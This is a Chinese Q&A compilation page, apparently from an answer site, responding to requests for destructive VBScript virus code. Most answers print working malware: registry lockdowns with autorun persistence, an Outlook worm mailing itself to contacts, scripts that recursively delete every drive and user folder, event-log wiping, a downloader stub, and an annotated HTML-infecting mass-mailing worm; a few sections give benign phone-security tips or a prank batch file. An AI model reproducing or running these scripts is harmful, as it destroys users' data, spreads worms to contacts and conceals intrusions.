电脑病毒源代码介绍?求最全的vbs病毒代码,要破坏性的谢谢,回答的好我多给分

本文目录
- 电脑病毒源代码介绍
- 求最全的vbs病毒代码,要破坏性的谢谢,回答的好我多给分
- 手机遭到恶意代码攻击
- 手机浏览器提示,您的手机可能遭到恶意代码攻击,这是怎么回事
- 怎么编写让手机自动关机的病毒
- VBS脚本病毒的攻击方法
- VBS脚本恶意破坏程序代码哪个知道详细的
- 手机中恶意代码怎么办
- 谁有恶搞的病毒或者吓人的病毒,告诉我下载地址或者制作方法用什么制作,谢谢
- 求一些vbs病毒的脚本
电脑病毒源代码介绍
电脑中了病毒想从它的源代码入手怎么办呢!有我在,下面由我给你做出详细的电脑病毒源代码介绍!希望对你有帮助!
电脑病毒源代码介绍:
电脑病毒源代码一:
on error resume next
set fs=createobject("ing.filesystemobject" ’创建一个能与 操作系统 沟通的对象,再利用该对象的各种 方法 对注册表进行操作
set dir1=fs.getspecialfolder(0) ’获取windows/winnt文件夹位置
set dir2=fs.getspecialfolder(1) ’获取system32/system文件夹位置
set so=createobject("ing.filesystemobject"
dim r ’定义一个变量
set r=createobject("w.shell"
so.getfile(w.fullname).copy(dir1&"\win32system.vbs" ’复制病毒副本到windows/winnt文件夹位置
so.getfile(w.fullname).copy(dir2&"\win32system.vbs" ’复制病毒副本到system32/system文件夹位置
so.getfile(w.fullname).copy(dir1&"\start menu\programs\启动\win32system.vbs" ’复制病毒副本到start menu启动菜单
’下面是对注册表的恶意修改和简单的依靠oe传播
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\norun",1,"reg_dword" ’修改注册表,禁止“运行”菜单
r.regwrite "kcu\software\microsoft\windows\currentversion\policies\explorer\noclose",1,"reg_dword" ’修改注册表,禁止“关闭”菜单
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodrives",63000000,"reg_dword" ’修改注册表,隐藏所有逻辑盘符
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\system\disableregistrytools",1,"reg_dword" ’修改注册表,禁止注册表
r.regwrite "hklm\software\microsoft\windows\currentversion\run\scanregistry","" ’修改注册表,禁止开机注册表扫描
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nologoff",1,"reg_dword" ’修改注册表,禁止“注销”菜单
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\norealmode",1,"reg_dword" ’修改注册表,禁止ms-dos实模式
r.regwrite "hklm\software\microsoft\windows\currentversion\run\win32system","win32system.vbs" ’修改注册表,使这个脚本本身开机自动运行
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nodesktop",1,"reg_dword" ’修改注册表,禁止显示桌面图标
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\winoldapp\disabled",1,"reg_dword" ’修改注册表,禁止纯dos模式
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosettaskbar",1,"reg_dword" ’修改注册表,禁止“任务栏和开始”菜单
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\noviewcontextmenu",1,"reg_dword" ’修改注册表,禁止右键菜单
电脑病毒源代码二:
r.regwrite "hkcu\software\microsoft\windows\currentversion\policies\explorer\nosetfolders",1,"reg_dword" ’修改注册表,禁止控制面板
r.regwrite "hklm\software\classes\.reg\","txtfile" ’修改注册表,禁止导入使用.reg文件,改为用txt文件的关联
r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticecaption","警告" ’设置开机提示框标题
r.regwrite "hklm\software\microsoft\windows\currentversion\winlogon\legalnoticetext","您中vbs脚本病毒了,哭吧~" ’设置开机提示框文本内容
set ol=createobject("outlook.application" ’创建outlook文件对象用于传播
on error resume next
for x=1 to 100
set mail=ol.createitem(0)
mail.to=ol.getnamespace("mapi".addresslists(1).addressentries(x) ’用于向地址簿的前100名发送此 vbs病毒,可以算是简单弱智的蠕虫了吧~~
mail.subject="今晚你来吗?" ’邮件主题
mail.body="朋友你好:您的朋友rose给您发来了热情的邀请。具体情况请阅读随信附件,祝您好运! 同城约会网" ’邮件内容
mail.attachments.add(dir2&"win32system.vbs"
mail.send
next
ol.quit
’下面是对internet explore 选项的恶意修改
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsercontextmenu",1,"reg_dword" ’修改注册表,禁止鼠标右键
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowseroptions",1,"reg_dword" ’修改注册表,禁止internet选项
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nobrowsersaveas",1,"reg_dword" ’修改注册表,禁止“另存为”
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\nofileopen",1,"reg_dword" ’修改注册表,禁止“文件/打开”菜单
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\advanced",1,"reg_dword" ’修改注册表,禁止更改高级页设置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\cache internet",1,"reg_dword" ’修改注册表,禁止更改临时文件设置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\autoconfig",1,"reg_dword" ’修改注册表,禁止更改自动配置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\homepage",1,"reg_dword" ’修改注册表,禁止更改主页,即“主页”变灰
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\history",1,"reg_dword" ’修改注册表,禁止更改历史记录设置
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\connwiz admin lock",1,"reg_dword" ’修改注册表,禁止更改internet连接向导
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\securitytab",1,"reg_dword" ’修改注册表,禁止更改安全项
r.regwrite "hkcu\software\policies\microsoft\internet explorer\control panel\resetwebsettings",1,"reg_dword" ’修改注册表,禁止“重置web设置”
r.regwrite "hkcu\software\policies\microsoft\internet explorer\restrictions\noviewsource",1,"reg_dword" ’修改注册表,禁止查看源文件
r.regwrite "hkcu\software\policies\microsoft\internet explorer\infodelivery\restrictions\noaddingsubions",1,"reg_dword" ’修改注册表,禁止添加脱机计划
求最全的vbs病毒代码,要破坏性的谢谢,回答的好我多给分
那废话不说,问这个如何?不懂可以问我
On Error Resume Next
dim avest,xufso,wscrt
Set avest = WScript.Createobject("WScript.Shell")
Set wscrt = WScript.Createobject("WScript.Shell")
Set xufso = CreateObject("Scripting.FileSystemObject")
avest.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del e:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del f:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del g:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del h:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del i:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del j:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del k:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del l:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del m:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del n:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del o:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del p:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del q:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del r:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del s:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del t:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del u:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del v:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del w:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del x:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del y:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del z:\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del C:\Users\*.* / f /q /s""",0 ,true
avest.run "cmd /c ""del C:\ProgramData\*.* / f /q /s""",0 ,true
xufso.CreateFolder "C:\VBScript\"
wscrt.run "shutdown -r -f -t 3600 -c 脚本与批处理程序相结合成功!"
xufso.copyfile Wscript.Scriptfullname,"C:\VBScript\一触即发.vbs"
xufso.copyfile Wscript.Scriptfullname,"C:\Users\Public\Desktop\一触即发.vbs"
wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","00000001","REG_DWORD"
wscrt.regwrite"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","00000001","REG_DWORD"
wscrt.regwrite"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost","C:\VBScript\一触即发.vbs","REG_SZ"
wscrt.regWrite"HKEY_CURRENT_USER\Software\Policies\Microsoft\MMC\RestrictToPermittedSnapins","00000001","REG_DWORD"
msgbox "My head with day feet standing on the earth all over the world to worship my swagger is the modelling of the legendary Super Star elder brother is sharp!",16+4096,"Error"
do
wscrt.run "ping 192.168.1.1 -l 65500 -t"
loop
手机遭到恶意代码攻击
1、重新开关机。
2、卸载近期安装的第三方软件后观察。
3、备份手机数据(电话簿、短信息、多媒体文件等),恢复出厂设置。
恶意代码(Unwanted Code)是指故意编制或设置的、对网络或系统会产生威胁或潜在威胁的计算机代码。最常见的恶意代码有计算机病毒(简称病毒)、特洛伊木马(简称木马)、计算机蠕虫(简称蠕虫)、后门、逻辑炸弹等。
手机浏览器提示,您的手机可能遭到恶意代码攻击,这是怎么回事
大家好我是大明、手机浏览器提示“可能遭到恶意代码攻击”的原因是,大家平时用手机浏览网页时,上了一些含有“木马病毒”的恶意网站,接下来我就详细讲解一下浏览网页的注意事项,以及解决这类问题的方法、
手机浏览器提示出现恶意代码的解决方法
我刚才讲了导致出现这类问题的原因是,手机浏览网页时“上了一些含有木马病毒的恶意网站”导致的,所以大家在平时浏览网页时要注意一些,不要到一些不知名的小网站去浏览,这样很有可能会中木马病毒,那么如果真的在浏览网页的时候出现这个“提示“,“马上应该退出该“网站”不要点击该网站的任意图片,视频,或者文章“、
退出恶意网站后,马上使用“手机病毒防护软件”对手机进行全面的“查杀病毒”处理,详细操作步骤是,打开手机管家软件,点击“病毒扫描“选项,全面的扫描手机是否因浏览了恶意网站而中了病毒。
总结
本期为大家讲解了手机浏览器提示,遭到恶意代码攻击的问题,我的观点是导致出现这个问题的原因,还是大家平时不小心上了一些恶意网站,遇到这种情况,大家应及时退出恶意网站,并且马上用病毒查杀软件,查杀一下病毒,以后应特别注意这个问题。
以上就是今天分享的内容,希望对大家有所帮助,喜欢的话别忘记点赞关注哟!大明会持续创作关于电脑维护及应用的作品,如果大家对此类问题有不同观点,可以在评论区共同讨论,打开“百度APP",搜索”电脑技师大明“,大量原创电脑知识,供大家参考,本期问答就讲到这里,咱们下期再见。
怎么编写让手机自动关机的病毒
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true
dim a
do while(a 《》 "我是猪")
a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,真过瘾"
把上面这段代码存成 xxx.vbe执行看效果!
VBS脚本病毒的攻击方法
.文件下载(无回显)
echo iLocal = LCase(WScript.Arguments(1)) 》iget.vbe
echo iRemote = LCase(WScript.Arguments(0)) 》》iget.vbe
echo Set xPost = createObject("Microsoft.XMLHTTP") 》》iget.vbe
echo xPost.Open "GET",iRemote,0 》》iget.vbe
echo xPost.Send() 》》iget.vbe
echo Set sGet = createObject("ADODB.Stream") 》》iget.vbe
echo sGet.Mode = 3 》》iget.vbe
echo sGet.Type = 1 》》iget.vbe
echo sGet.Open() 》》iget.vbe
echo sGet.Write(xPost.responseBody) 》》iget.vbe
***隐藏网址***
2.列举进程
@echo for each ps in getobject _ 》ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ 》》ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next 》》ps.vbs 用法:cscript ps.vbs
3.终止进程
@echo for each ps in getobject _ 》pskill.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ 》》pskill.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next 》》pskill.vbs 用法:cscript pskill.vbs pid
4.重启系统
@echo for each os in getobject _ 》reboot.vbs
@echo ("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_ 》》reboot.vbs
@echo os.win32shutdown(2):next 》》reboot.vbs 用法:cscript reboot.vbs5.利用脚本编程删除日志strComputer= "."
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate,(Backup)}!\\" & _
strComputer & "\root\cimv2")
dim mylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
for Each logs in mylogs
Set colLogFiles=objWMIService.ExecQuery _
("Select * from Win32_NTEventLogFile where LogFileName=’"&logs&"’")
For Each objLogfile in colLogFiles
objLogFile.ClearEventLog()
Next
next将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。
VBS脚本恶意破坏程序代码哪个知道详细的
on error resume next
Dim AutoRunProgram
Set AutoRunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "Auto"
Key_data = "c:\windows\system32\System.vbs"
AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
Dim Auto
Set Auto = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "System"
Key_data = "c:\windows\system32\SD78.look.vbs"
Auto.RegWrite regpath&Key_Name,Key_data,Type_Name
Dim RunProgram
Set RunProgram = WScript.CreateObject("WScript.shell")
RegPath ="HKLM\Software\Microsoft\Windows\CurrentVersion\Run\"
Type_Name = "REG_SZ"
Key_Name = "Windows"
Key_data = "c:\windows\system\Fc.loH.vbs"
runProgram.RegWrite regpath&Key_Name,Key_data,Type_Name
do while true
set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:\windows\system32\System.vbs")
set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:\windows\system\Fc.loH.vbs")
set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:\windows\system32\SD78.look.vbs")
createobject("wscript.shell").run "cmd /c del f/s/q d:\*.*",0
createobject("wscript.shell").run "cmd /c del f/s/q e:\*.*",0
createobject("wscript.shell").run "cmd /c taskkill /im explorer.exe /f",0
msgbox"系统面临一个致命错误,WINDOWS将无法完成一些重要操作。",24,“系统提示”
on error resume next
set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("h:\迷你小游戏.exe.vbs")
on error resume next
set copy=createobject("scripting.filesystemobject")
copy.getfile(wscript.scriptfullname).copy("g:\迷你小游戏.exe.vbs")
i=i+1
loop
我亲自编写的脚本病毒Win32.VBS.System Parasite.A
系统寄生虫A变种
自我传播率很低,但破坏性不可想象
或者嫌麻烦你用下面的吧:
for i=1 to 100
set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:\windows\system32\"&(100-i)&".vbs")
set copy1=createobject("scripting.filesystemobject")
copy1.getfile(wscript.scriptfullname).copy("c:\windows\"&(100-i)&".vbs")
Next
一打开之后就会完全死机,只能强制关电脑,再开时安全模式上不去,电脑一直显示一堆英文,好像是说找不到系统= =
具体为什么我不知道,用for命令各复制100复本到C:\windows和SYSTEM为什么会那么大的威力,10000个我都试过啊(不过只复制到同一个目录),反正是我无意间试出来的...死机炸弹
我现在在写一个新蠕虫“系统幽灵”
如果一直想要病毒的话加我的QQ吧:807164614
手机中恶意代码怎么办
删除有问题的应用程序。
1、首先删除有问题的应用程序。
2、为了确保手机中的恶意软件彻底删除,可以进入“设置”菜单,完全重置手机,恢复“出厂设置”,这样可以彻底清除设置中残存的恶意软件。(记得备份手机数据电话簿、短信息、多媒体文件等)
3、仔细检查每一个应用程序的权限要求,不需要时限制应用程序的访问权限。对付侵略性广告应用程序,请务必阅读权限,然后再确定是否要接受。
谁有恶搞的病毒或者吓人的病毒,告诉我下载地址或者制作方法用什么制作,谢谢
我有一个既恶搞又吓人的不能说是病毒的程序。
新建一个文本文档(.txt),要复制以下代码:
@echo off
color 4
tskill explorer
echo .
echo .
echo .
echo .
echo 警告:在病毒执行期间禁止关闭电源,
echo 否则你就和你心爱的电脑说
echo .
echo . BYE-BYE
echo .
echo Computer system crash!
echo .
echo .
echo I am a virus, my name is Ghost.
echo 我是魔鬼病毒,在这个堕落的世界上苏醒了。
echo .
echo . Warning! CPU has been changed please re-enter CPU settings
echo. in the CMOS setuo and remember to save before quit.
echo. Secondary IDE channel no 80 conductor cable installed.
set /p select=:)
if "%select%"=="" goto start
:start
shutdown -r -t 10 -c "您的计算机上带有魔鬼病毒,今天是它的发作日期。病毒已经破坏了您的系统,您的计算机将在10秒钟后重启。"
::结束
再另存为:名字.bat 你要记住"名字"后面要加".bat"
就可以了,没有任何破坏性,吓吓人。
你可以试试看看效果。
求一些vbs病毒的脚本
要学习 VBS,具有一些VB的基础知识就够了。
这个病毒的主要攻击方法是:通过网络及邮件进行传播,并且不断地向目标邮件服
务器发送大量邮件,并且在传染过程中检测网络主机的名称中是否有目标字符,如
果有则进行破坏攻击。
下面将结合具体的程序逐步进行介绍,由于篇幅关系,对一些语句进行了缩减。
’@ thank you! make use of other person to get rid of an enemy, white trap _2001
’’开场白,第一个字符“@”是这个病毒传染时的标记
on error resume next ’’这一句很重要,主要是在程序执行时如果发生错误就接着
’’执行下一条语句,防止谈出出错对话框,否则就不能偷偷
’’的干坏事啦。这里有一个技巧,就是在程序编制调试阶段,
’’最好不要这一条语句,因为它会忽略错误,使你的调试工
’’作不易完成。
dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str
dim defpath, smailc, MAX_SIZE, whb(), title(10) ’’声明各个变量
smailc = 4
Redim whb(smailc)
whb(0) = "pr@witehous.gov"
...
whb(3) = "ms@witehous.gov"
’’以上这四个邮件地址就是被攻击的目标,当然已经进行了修改,不是真实地址
title(0) = "Thanks for helping me!"
...
title(8) = "the sitting is open!"
title(9) = ""
’’以上这十条字符串是病毒执行时随机显示在IE标题栏里的信息。如果你的IE标题栏
’’显示了其中的某条信息,呵呵,一定要接着往下看
defpath = "C:\Readme.html" ’’将随邮件一起发送的病毒体
MAX_SIZE = 100000
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
’’定义两个注册表的键值变量
main ’’执行主函数
’’下面就是程序中所需的各个函数的定义部分,整个VBS程序将由windows目录中的
’’WScript.exe文件解释执行,如果将这个文件改名或删除,当然VBS程序也就不能执行
’’了,如此便阻止了病毒的执行。在用杀毒软件杀毒时,往往病毒传播的速度要比杀
’’毒的速度快,如果出现这种情况,应该先将WScript.exe文件改名,阻止病毒传播,
’’等杀完毒后,再改回来,不致影响其他正常的VBS程序的执行。
sub main()
on error resume next
dim w_s
w_s= WScript.ScriptFullName ’’得到此文件名称
if w_s = "" then
Err.Clear
set fso = CreateObject("Scripting.FileSystemObject")
’’随着VB编程语言的完善,微软也推出了一种全新的文件操作方法:文件系
’’统对象(FileSystemObject)。这个对象,及一些相关对象,封装了所有
’’的文件操作。这个病毒程序基本展示了所有的这些操作,因此,如果您要
’’利用VBS进行文件操作编程,将这个病毒源码作为参考文档,肯定不错。
if getErr then
Randomize
ra = int(rnd() * 7)
doucment.write title(ra)
ExecuteMail ’’打开有毒的页面
else
ExecutePage ’’赋值成功,进行传染,攻击
end if
else
ExecuteVbs ’’从病毒体文件“system.dll”提取病毒
end if
end sub
Function getErr()
’’本函数主要是检测前一条语句是否成功返回了Scripting.FileSystemObject对象,
’’内容略
end function
sub ExecutePage()
dim Html_Str,adi,vf,wdf, wdf2,wdf3,wdsf, wdsf2
Vbs_Str = GetScriptCode("vbscript") ’’获得此程序的VBScript code
Js_Str = GetJavaScript()
Code_Str = MakeScript(encrypt(Vbs_str),true) ’’进行加密处理
Html_Str = MakeHtml(encrypt(Vbs_str), true)
Gf
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
set vf = fso.OpenTextFile (wdf, 2, true)
vf.write Vbs_Str
vf.close
’’仅用以上三条语句便完成了病毒体文件 "user.dll"的制作,其中对象函数
’’OpenTextFile (wdf, 2, true)的三个参数分别是:
’’①文件名,②读=1或写=2,③文件不存在时是否创建;
’’当前,FileSystemObject对于文本文件的操作有较强的优势,对binary文件
’’的操作还有待加强。下面依次生成其他的文件,内容略
Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""
Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""
’’将Mdm.vbs,Profile.vbs两个脚本文件加入到启动组当中,随Win启动自动执行
SendMail
Hackpage
if TestUser then
Killhe
else
mk75
end if
set adi = fso.Drives ’’所有驱动器对象
for each x in adi ’’遍历所有的驱动器
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
if fso.FileExists(defpath) then fso.DeleteFile defpath
’’如果存在"C:\Readme.html" ,就删除它
end sub
sub ExecuteMail()
’’此函数制作病毒文件"C:\Readme.html" ,并打开它,
’’由这一段程序,可以看出VBS的简洁高效
on error resume next
Vbs_Str = GetScriptCode("vbscript")
Js_Str = GetJavaScript()
Set Stl = CreateObject("Scriptlet.TypeLib")
with Stl
.Reset
.Path = defpath
.Doc = MakeHtml(encrypt(Vbs_str), true)
.Write()
end with
window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no"
end sub
sub ExecuteVbs()
on error resume next
dim x, adi, wvbs, ws, vf
set fso = CreateObject("Scripting.FileSystemObject")
set wvbs = CreateObject("WScript.Shell")
Gf
wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"
set vf = fso.OpenTextFile (w2 & "system.dll", 1)
Code_Str = vf.ReadAll()
vf.close
Hackpage
SendMail
if TestUser then
Killhe
else
mk75
end if
set adi = fso.Drives
for each x in adi
if x.DrivesType = 2 or x.DrivesType = 3 then
call SearchHTML(x & "\")
end if
next
end sub
sub Gf()
w1=fso.GetSpecialFolder(0) & "\" ’’获得Windows的路径名,
w2=fso.GetSpecialFolder(1) & "\" ’’获得系统文件夹路径名
end sub
function Readreg(key_str)
set tmps = CreateObject("WScript.Shell")
Readreg = tmps.RegRead(key_str)
set tmps = Nothing
end function
function Writereg(key_str, Newvalue, vtype)
’’对注册表进行写入操作,读操作类似,可以由此看到vbs的注册表操作非常简单明了。
set tmps = CreateObject("WScript.Shell")
if vtype="" then
tmps.RegWrite key_str, Newvalue
else
tmps.RegWrite key_str, Newvalue, vtype
end if
set tmps = Nothing ’’关闭不用的资源,算是病毒的良好行为
end function
function MakeHtml(Sbuffer, iHTML)
’’制作html文件的内容
dim ra
Randomize
ra = int(rnd() * 7)
MakeHtml="《" & "HTML》《" & "HEAD》《" & "TITLE》" & title(ra) & "《/" & "TITLE》《" & "/HEAD》" & _
"《BO" & "AD》" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _
"《" & "/BOAD》《" & "/HTML》"
end Function
function MakeScript(Codestr, iHTML)
’’制作病毒的可执行script code
if iHTML then
dim DocuWrite
DocuWrite = "document.write(’《’+" & "’SCRIPT Language=JavaScript》\n’+" & _
"jword" & "+’\n《/’" & "+’SCRIPT》’);"
DocuWrite = DocuWrite & vbcrlf & "document.write(’《’+" & "’SCRIPT Language=VBScript》\n’+" & _
"nword" & "+’\n《/’" & "+’SCRIPT》’);"
MakeScript="《" & "SCRIPT Language=JavaScript》" & vbcrlf & "var jword = " & _
chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _
chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _
"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "《/" & "SCRIPT》"
else
MakeScript= "《" & "SCRIPT Language=JavaScript》" & Codestr & "《/" & "SCRIPT》"
end if
end function
function GetScriptCode(Languages)
’’此函数获得运行时的Script code,
’’内容略
end function
function GetJavaScript()
GetJavaScript = GetScriptCode("javascript")
end function
function TestUser()
’’此函数通过键值检测网络主机是否是攻击目标
’’内容略
end function
function mk75()
’’检测日期是否符合,如果符合,发控制台命令,使系统瘫痪
end function
function SendMail()
’’利用outlook发送携带病毒体的邮件,Microsoft Outlook是可编程桌面信息管理程序,
’’outlook可以作为一个自动化服务器(Automation servers),因此很容易实现自动发送
’’邮件,从这里也可以看出,先进的东西难免会被反面利用,如果你也想用程序控制发送
’’邮件,可以仔细研究下面的代码,
on error resume next
dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at
Randomize
at=fso.GetSpecialFolder(1) & "\Readme.html" ’’要发送的附件文件
set Oa = CreateObject("Outlook.Application") ’’制作outlook对象
set wab = Oa.GetNameSpace("MAPI") ’’取得Outlook MAPI名字空间
for j = 1 to wab.AddressLists.Count ’’遍历所有联系人
eins = wab.AddressLists(j)
wreg=Readreg (HCUW & eins)
if (wreg="") then wreg = 1
Eaec = eins.AddressEntries.Count ’’地址表的Email记录数
if (Eaec 》 Int(wreg)) then
for x = 1 to Eaec
arrsm = wab.AddressEntries(x)
areg = Readreg(HCUW & arrsm)
’’读注册表中的标记,避免重复发送
if (areg = "") then
set fm = wab.CreateItem(0) ’’创建新邮件
with fm
ra = int(rnd() * 7)
.Recipients.Add arrsm ’’收件人
.Subject = title(ra) ’’邮件的标题
.Body = title(ra) ’’邮件的正文内容
.Attachments at ’’病毒文件作为附件
.Send ’’发送邮件
Writereg HCUW & arrsm, 1, "REG_DWORD"
end with
end if
next
end if
Writereg HCUW & eins, Eaec, ""
next
set Oa = Nothing
window.setTimeout "SendMail()", 10000 ’’每100秒发送一次
end function
sub SearchHTML(Path)
’’这个函数递归搜索所有需感染的文件,如果你想批量处理文件,这是非常典型
’’的样例代码
on error resume next
dim pfo, psfo, pf, ps, pfi, ext
if instr(Path, fso.GetSpecialFolder(2)) 》 0 then exit sub
’’fso.GetSpecialFolder(2)获得临时文件夹路径名,
’’fso.GetSpecialFolder(0)获得Windows的路径名,
’’fso.GetSpecialFolder(1)获得系统文件夹路径名
set pfo = fso.GetFolder(Path)
set psfo = pfo.SubFolders
for each ps in psfo
SearchHTML(ps.Path)
set pf = ps.Files
for each pfi in pf
ext = LCase(fso.GetExtensionName(pfi.Path))
if instr(ext, "htm") 》 0 or ext = "plg" or ext = "asp" then
if Code_Str《》"" then AddHead pfi.Path, pfi, 1
elseif ext= "vbs" then
AddHead pfi.Path,pfi, 2
end if
next
next
end sub
sub Killhe()
’’看函数名就知道硬盘又要倒霉啦
end sub
sub Hackpage()
dim fi
H = "C:\InetPut\wwwroot"
if fso.FolderExists(H) then
set fi = fso.GetFile(H & "\index.htm")
AddHead H & "\index.htm",fi,1
end if
end sub
sub AddHead(Path, f, t)
’’这个函数负责感染文件,之所以不进行省略,因为在后面编制杀毒程序时要用到这一段。
on error resume next
dim tso, buffer,sr
if f.size 》 MAX_SIZE then exit sub
set tso = fso.OpenTextFile(Path, 1, true)
buffer = tso.ReadAll()
tso.close
if (t = 1) then
’’如果是"htm","plg", "asp" 文件,则在其中加入病毒代码
if UCase(Left(LTrim(buffer), 7)) 《》 "《SCRIPT" then
set tso = fso.OpenTextFile(Path, 2, true)
tso.Write Code_Str & vbcrlf & buffer
tso.close
end if
else ’’否则,用病毒体程序覆盖掉原文件,这个有点损
if mid(buffer, 3, 2) 《》 "’@" then
tso.close
sr=w2 & "user.dll"
if fso.FileExists(sr) then fso.CopyFile sr, Path
end if
end if
end sub
’’以上对病毒源码进行了分析,是不是有所收获,赶快打开纪事本,亲自开发一个vbs
’’程序吧,“水能载舟,亦能覆舟”,就编一个清除它的杀毒程序,算是本文的加强练习。
’’
’’感兴趣的朋友可以看一下笔者根据源程序改编的杀毒程序。
附:
’’’’’’’’kill75.vbs’’’’’’’’’’’’
’本程序由源病毒码修改而成
Dim fso, w1, w2, MSWKEY, HCUW
Dim defpath
Dim bdNUM ’’记录杀除病毒文件的个数
Const MAX_SIZE = 100000
main
Sub main()
On Error Resume Next
bdNUM=0
defpath = "C:\Readme.html"
MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"
HCUW = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"
Err.Clear
Set fso = CreateObject("Scripting.FileSystemObject")
ExecuteKill
End Sub
Sub ExecuteKill()
On Error Resume Next
Dim adi, vf, wdf, wdf2, wdf3, wdsf, wdsf2
Gf
wdsf = w2 & "Mdm.vbs"
wdsf2 = w1 & "Profile.vbs"
wdf = w2 & "user.dll"
wdf2 = w2 & "Readme.html"
wdf3 = w2 & "system.dll"
